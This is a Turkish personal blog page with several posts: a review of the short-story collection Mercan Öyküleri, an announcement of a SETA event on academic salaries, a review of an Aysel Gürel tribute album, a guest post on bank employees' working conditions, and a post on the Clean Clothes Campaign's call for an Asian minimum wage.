 O, içindeki en son nefesi bile çıkarıp vermiş ama hiçbirimiz bunu fark etmemiştik.

 Fark etseydik ‘en son nefes’i tutabilir miydik?” (s. 95)

Yukarıdaki “küçürek öykü” Ü. Gülsüm Bülbül’ün Mercan Öyküleri kitabının son -kısa- öyküsünün son bölümü, yani kitabın son satırları. Öykü, şöyle başlıyor: “Bir gün öyle bir şey olacak ki, yaşamımdaki her şey yavaş yavaş değişecek, evrilecek, dönüşecek.” Yazarın, doğrudan kendine dönük olduğu duygusu yaratan tek öyküsü bu.

Aşağıdaki alıntı ise, değerli yazar Ayla Kutlu’nun kaleminden çıkan, kitabın kapak yazısının son bölümü:

“Öyküler içinize buruk bir hüzünle mi yerleşiyor? Dile, cinselliğe, değişime, garipseme duygusuna, yalnızlığa, iletişimsizliğe… Bu olumsuzlukları gerçekleştiren engellere tam ortasından bakabilen, kabul etmeyişini ince sözcüklerle anlatan yazarın, bu küçücük kitabı, okuyanı düşüncelere salacak, ardında, ince bir sızıyla insanlık halleri hakkında düşündüğünü algılayan okurlar bırakacak.

Edebiyat başka ne yapmalı ki?”

Yaşamın acı ve acımazsız gerçekleri karşısında çoğu zaman insan da, edebiyat da çaresizdir. Ama birlikte direnmeleri olasıdır. Başka bir deyişle, insan gerçeklerin acıtıcılığına edebiyatla bir parça karşı koyabilir; gerçeklerin katılığını yumuşatıp dönüştürebilir, “acıyı bal eyleyebilir”.

Ü. Gülsüm Bülbül’ün, Mercan Öyküleri’nin büyük bölümünde yaratmaya çalıştığı ve en azından okuyucuya başarıyla aktardığı duygu bu gibi görünüyor.

Ayla Kutlu’nun belirttiği gibi, “Yazarın öyküye yaklaşımında ana izlek, küçük insanların yaşamları. Küçük, yoksul kızların, oğlanların, yaşamın baskısı karşısındaki ezilmiş kadınların duruşları, şaşkınlıkları ve kuşkuları… Bu insanlara eğilmeyi ve anlamayı sevdiği belli.”

Evet, Mercan Öyküleri’nin kahramanları, eşitliksiz, bencil toplumsal yaşamın haksızlıkları karşısında en zayıf, en korumasız konumdaki çocuklar ve kadınlardır. Bu, rastlantısal bir seçim değildir. Tersine yazarın, başta bu iki kesim olmak üzere ezilen, horlanan tüm insanların acılarına duyarlılığının öykülerine yansıması.

Nitekim kitaba da ilk öyküye de adını veren, öykünün kahramanı yoksul bir küçük çocuktur ve adı “Mercan”dır. Kitapta, kahramanı çocuk olan beş öykü daha var. A. Kutlu’nun, “Çocuk dünyasını seven, onu iyi tanıyan bir yazarın karşısındayız” dediği Ü. Gülsüm Bülbül “Bütün çocuklarıma…” diyerek kitabını da çocuklara ithaf etmiş. Böylece tüm çocukları, bir ana sevgisiyle kucakladığını duyumsatmış.

Kitaptaki 22 öyküden geriye kalanların -ikisi dışında- kahramanları kadınlardır. Toplumun eril ve cahil olmasından kaynaklanan,-eş ve oğul olarak erkeklerin sorunları da dahil – tüm olumsuzlukların çilesini çeken, fiziki ve manevi her türlü baskı ve şiddete maruz kalan, ezilen kadınlar… Bir bakıma, erkek egemen, geri kalmış toplumun “en alttakiler”i.

Kadın ve çocukları konu etmeleri ve yaşamdan, yaşanmışlıktan alınıp dönüştürülmüş olmaları, acı ve acıtıcı etkileri… Mercan Öyküleri’nin ortak noktaları. Bununla birlikte öyküler türdeş değil. Biçim yönünden de farklılıklar taşıyorlar. Örneğin Göz Boncuğu masalsıdır. Filburun “Kafka tarzı” özellikler de gösterirken, onunla birlikte Göz Boncuğu, Mercan II ve -kısmen de olsa- Bu Sabah Beni Kara Bir Karga Öptü fantastik unsurlar taşıyan öyküler. Yorgun Sinek, Can Eriği ve Plastik Muz tamamen mizahi değilse de güldürü unsurları yüklü.

Biçim denemeleri ise başta İkinci El olmak üzere Mercan I ve Kaplumbağa adlı öykülerde dikkat çekiyor. Siyah Eldiven ve Mercan III ise, derin anlamlı birer minimal öykü.

“Ü. Gülsüm Bülbül öykülerini oluştururken abartılardan, öykünün anlamını zayıflatan cafcaflı süslerden, lafı uzatmaktan uzak duran bir yazar”  diyor Ayla Kutlu.

Bülbül’ün dili, yalın olduğu ölçüde acı, sevgi ve şefkat yüklüdür. Bunun başat nedenlerinden biri, yazarın bireysel ve toplumsal acılara duyarlılığı ise, diğeri de öykülerin, yaşamdan ve yaşanmışlıktan yansıyan acıların derin izlerini taşıması. Gerçek yaşamdan alınmış veya esinlenilmiş, yürekte damıtılarak dönüştürülüp kurgulanmış denebilir Mercan Öyküleri için. Kimi öykülerde yokluk yoksulluk, yerine göre sel, deprem, ensest, intihar, cinayet ve benzeri olayların acıları baskın. Kimi öykülerde ise yaşamdaki yeri doldurulamaz bir kaybın ardından çekilen ve her zaman, her yerde, her vesileyle nükseden, dinmeyen bir sızıyla hep kendini anımsatan acılar…

“Bir solukta okunabilen…” denir bazı kitaplar için. Mercan Öyküleri öyle değil. Öyle okunmamalı. Tersine, kitap değil, her öyküsü bir solukta okunmalı. Sonra durup soluklanmalı, yüreğe işleyen acısı usulca sindirilmeli.

Mercan Öyküleri’ndeki 22 öykü okunup kitabın kapağı kapatıldığında kalan ve uzun süre duyumsanan, yürekte sızıyla karışık bir lezzet; buruk bir acı-lezzet.

(*) Ü. Gülsüm Bülbül, Mercan Öyküleri, Kanguru Yayınları, Nisan 2013,

Seta aşağıda belirtilen kapsamda bir etkinlik yapacak. Tabii ki, orada olacağım. Zira mesele önemli. Bakalım önerilen sistem ne, üniversitelerin insan kaynakları politikaları nasıl şekillenmeli konusunda söylenecekler ne. Mevzu tabii ki, maaşta kilitleniyor ancak en az onun kadar önemli olan akademik özgürlük, öğretim üyesini motive edici sistemin kurulması ve yükselme için net kriterlerin oluşturulması bence.

Detaylar aşağıda ve linkte.

http://setav.org/tr/ulusal-ve-uluslararasi-karsilastirmalarla-ogretim-uyeligi-maasi/etkinlikler/6994

20130815123854_maas_afis_925px

 

Türkiye yükseköğretim sisteminde öğretim üyesi maaşları, Türkiye’deki diğer kurumlar ya da farklı ülkelerdeki üniversitelerde çalışanlarla karşılaştırıldığında rekabet edilebilir düzeyde değildir. Bundan dolayı üniversiteler yetenekli bilim insanları için cazibe merkezi olamamıştır.

Türkiye yükseköğretimi mevcut potansiyelini daha etkili hale getirmek ve son yıllarda yakaladığı büyüme trendini uzun vadede sürdürmek için etkin insan kaynakları politikalarına ihtiyaç duymaktadır.

SETA, “Ulusal ve Uluslararası Karşılaştırmalarla Öğretim Üyeliği Maaşı’’ raporu bu hususa dikkat çekmekte ve öğretim üyeliği maaşlarına yönelik gerçekleştirilebilir politika önerileri sunmaktadır.

Prof.Dr. Tekin Akgeyik’in hazırladığı “Ulusal ve Uluslararası Karşılaştırmalarla Öğretim Üyeliği Maaşı” raporu, YÖK Başkanı Prof.Dr. Gökhan Çetinsaya’nın da katılacağı toplantıda detaylı olarak ele alınacaktır.

Ayselim-Aysel_Gurel_Anisina

Albümü geçen hafta aldım. Alırken “acaba hala bir CD’ye 20 TL veren kalmış mıdır?” diye kendi kendime soruyordum. Bu albüm tabii ki çok farklı, herhangi bir albüm değil. Tabii ki, bir bedel biçilmesi anlamlı değil. Ancak şu da bir gerçek ki, bu devirde müzik sektöründe satış stratejileri çok değişti. Eski satış rakamlarının yakalanması mümkün değil falan filan. Ancak arabaya taktıktan sonra CD’yi bazı insanların gerçekten özel olduğunu yeniden hatırladım ve iyi ki almışım dedim.

Aysel Gürel’in kızının (Müjde Ar olmayan) Cüneyt Özdemir ile röportajını dinledikten sonra almaya karar verdiğim albüm gerçekten müthiş. Aysel Gürel’in niçin bu sözleri yazabildiğini kızının “Aysel’in Türkiye’de gezip görmediği herhangi bir pazar yoktur” lafı ile anlayabiliyorsunuz zaten. Sözler çok anlamlı ancak hiç de ukalaca değil ve çok acıklı olsa da ajite etmiyor. Çok güldürse de illaki bir yere dokunduran cinsten. Toplumun bütün sınıflarına hitap ediyor asla elitist değil, ama bir yandan da asla duygu sömürmüyor.

Yaklaşık 5 gündür arabaya binsem de, “Sultan Süleyman”ı bir kez daha dinlesem diye trafiğe çıkmayı iple çekiyorum. Albümde benim favorim “Sultan Süleyman”. Popüler kısmı ise Tarkan’ın seslendirdiği “Firuze” ve Ata Demirer’in kendi tarzını yansıttığı “Sitem”. Ama dinlerken “bu da mı onun şarkısıymış” lafı birçok kez ağzınızdan dökülüyor. Birazda duygusal anınızdaysanız “Ünzile” ve “Sultan Süleyman”ı arka arkaya dinlemeyin derim. Ateş Böceğim’de onun şarkısıymış albümde yok ama şöyle bir bakınca hakikaten insan “ne kadınmış” diyor. Boşuna yakın çevresi “Deli Aysel” demiyormuş.

Karşılaştırma yapmak tabii ki anlamsız ama Aysel Gürel’in şarkı sözlerine odaklanınca “Aşk bu kızıl ötesi yaralı müzesi hareket edemem” tarzı sözlerin değerini ve amacını bir kez daha ve net bir şekilde anlayabiliyor insan.

Nur içinde yatsın, Türkiye açısından çok önemli bir renk ve değerdi.

Sitemde bu sefer yeni bir misafir yazarım var. Ve bu kez bir de nickname’i var. Kendisine çok teşekkür ediyorum beni yalnız bırakmadığı için. Yetersiz Bakiye’nin yazıları oldukça ilgi çekecektir diye düşünüyorum.

Makro’nun Gücü Mikro’nun Süsü

Bilindiği gibi ülkemizde İktisadi İdari Bilimler Fakülteleri’nde çok ciddi sayıda öğrenci eğitim almaktadır. Çeşitli sitelerden edinilebilecek bilgiler doğrultusunda oldukça şaşırtıcı verilerle karşılaşmak mümkündür; 2011-2012 öğretim yılında 271.395 örgün İ.İ.B.F öğrencisi varken 1.217.970 A.Ö.F. öğrencisi mevcuttur. Diğer fakültelerdeki öğrenci sayısı toplam 312.796’dir. Peki, bu kadar mezun ne işle iştigal etmektedir? Mezunların içerisinden yaklaşık 350.000 kişinin hali hazırda düzenli bir işi olmadığı biliniyor. Geriye kalan kişiler içerisinde kendisine bankacılığı meslek edinenlerin sayısı da az değildir. Mart 2013 itibariyle 188.748 çalışanı bulunan bankacılık sektöründe yaklaşık 130.000 çalışanın İdari Bilimler Fakülteleri’nin 4 yıl eğitim veren bölümlerinden mezun oldukları tahmin edilmektedir. Bu yazımızda banka çalışanlarının sorunlarına değinmeye çalışacağız.

Banka çalışanlarını genel müdürlük birimlerinde çalışanlar ve şube çalışanları olarak ikiye ayırmak mümkündür. GM birimlerinin müşterileri genellikle şubelerdir, ulaşım için servis imkânı sağlandığından işe geliş gidiş saatleri bellidir. Yıllık izin dönemlerinde, doğum, taşınma gibi mazeret izinlerinde çok sıkıntı çekmezler. Uzmanlık ve üzeri kadrolarda Türkiye şartlarında tatminkâr ücretlerle çalışıldığını söylemek çok da yanlış olmaz.

Gelelim şube çalışanlarına;

Şube çalışanlarının maalesef çıkış saatleri belli değildir. Son dönemde yoğun bir biçimde Çalışma Bakanlığı iş müfettişlerinin saat 18.00’den sonra açık banka şubelerine baskın yaptıkları haberleri birkaç günlüğüne duyulmuş olsa da bugünlerde o söylentinin de pek esamesi kalmamıştır. Saat 18.00’den sonra fazla çalışma ücreti ödenmesi gerekiyor olmasına rağmen tam olarak ödeme yapan banka sayısı yok denilebilecek kadar azdır. Her yeni şube açılışında pazarlama faaliyetleri daha da güçleşmekte ve daha yoğun mesai harcanması gerekmektedir. Son 2-3 yıldır hafta sonu çalışmaları da rutin hale gelmiştir lakin çalışanların daha önemli sorunları vardır. Son yıllarda giderek artan Türk bankalarının yabancı bankalara satılmasından sonra çalışanların üzerinde inanılmaz hedef baskıları oluşmaya başlamıştır. Yatırımcıların satın alırken ödedikleri bedelleri kısa zamanda geri almak istemeleri ve ülkemizde özel sektör çalışanlarının hiçbir hakkı ve savunucusu olmaması nedeniyle yüzyıllar önce sona eren kölelik düzeni yeniden canlandırılmıştır. Asli görevi banka çalışanlarının haklarını savunmak olan sendikalar patronlarla bir olmuşlar ve üyelerinin haklarını görmezden gelmektedirler.

Yazıma burada son verirken eklemek istediğim bazı hususlar var; bu yazılanlar tabiidir ki tüm bankaların tüm şubeleri için geçerli değildir fakat yüzlerce şubeleri olan, reklamlarda sürekli gülen, jilet gibi giyinen güzel/yakışıklı çalışanlara sahip bankaların çoğu şubesi bu haldedir.

Bir sonraki yazımızda yine banka çalışanlarının sorunlarını işlemeye devam edeceğiz.

Hoşçakalın.

Çalışma Ekonomisi ve Endüstri İlişkileri Araştırma Topluluğu üyelerince bölümümüzü tanıtmak adına hazırlanan ve bölüm hocalarımızın ve biz araştırma görevlilerinin ÇEKAT üyelerince hazırlanan sorulara verdikleri yanıtlardan oluşan tanıtım filmi yayında.

Bölümümüzü tercih etmeyi düşünen öğrenciler için faydalı olmasını diliyor, emeği geçenlere teşekkür ediyorum.

 

gülsüm-205x300Canım Annemin “Mercan Öyküleri” kitabı kitapçılardaki yerini aldı. Annemin kitabıyla ilgili www.edebiyathaber.net sitesinde çıkan habere aşağıdaki linkten ulaşılabilir.

http://www.edebiyathaber.net/mercan-oykuleri-cikti/

logo

“Temiz” Kıyafet 1989’dan bu yana faaliyette bulunan bir sivil toplum örgütü. Amaçları ise küresel tekstil sektöründe çalışma koşullarının geliştirilmesi. Bu kapsamda önemli mücadelelerde bulunan sivil toplum örgütünün en dikkat çekici önerisi tüm Asya için bir asgari ücret. Videoda bunun nasıl olması gerektiği ve niçin gerekli olduğu uzunca anlatılıyor.

Özellikle son dönemde yaşanan ölümlü iş kazalarının bilinen büyük tekstil ve moda markalarının üretim merkezlerinde gerçekleştiğini afişe ederek sesini duyuran sivil toplum örgütü, Asya’daki çalışma koşulları, cinsiyet eşitliği, asgari ücret gibi çalışma hayatına ilişkin önemli düzenlemeleri için faaliyetlerde bulunuyor.Clean Clothes Campaign’e web sayfaları vasıtasıyla destek vermek mümkün. Bu kapsamda “clean” olmayan markalardan alışveriş yapmayı birkez daha düşünmek gerekiyor. Aşağıdaki linkten ayrıntılı bilgi edinilebilir.

http://www.cleanclothes.org/

Asya taban asgari ücret düzenlemesinin niçin gerekli olduğu ile ilgili güzel animasyon videosu buradan izlenebilir.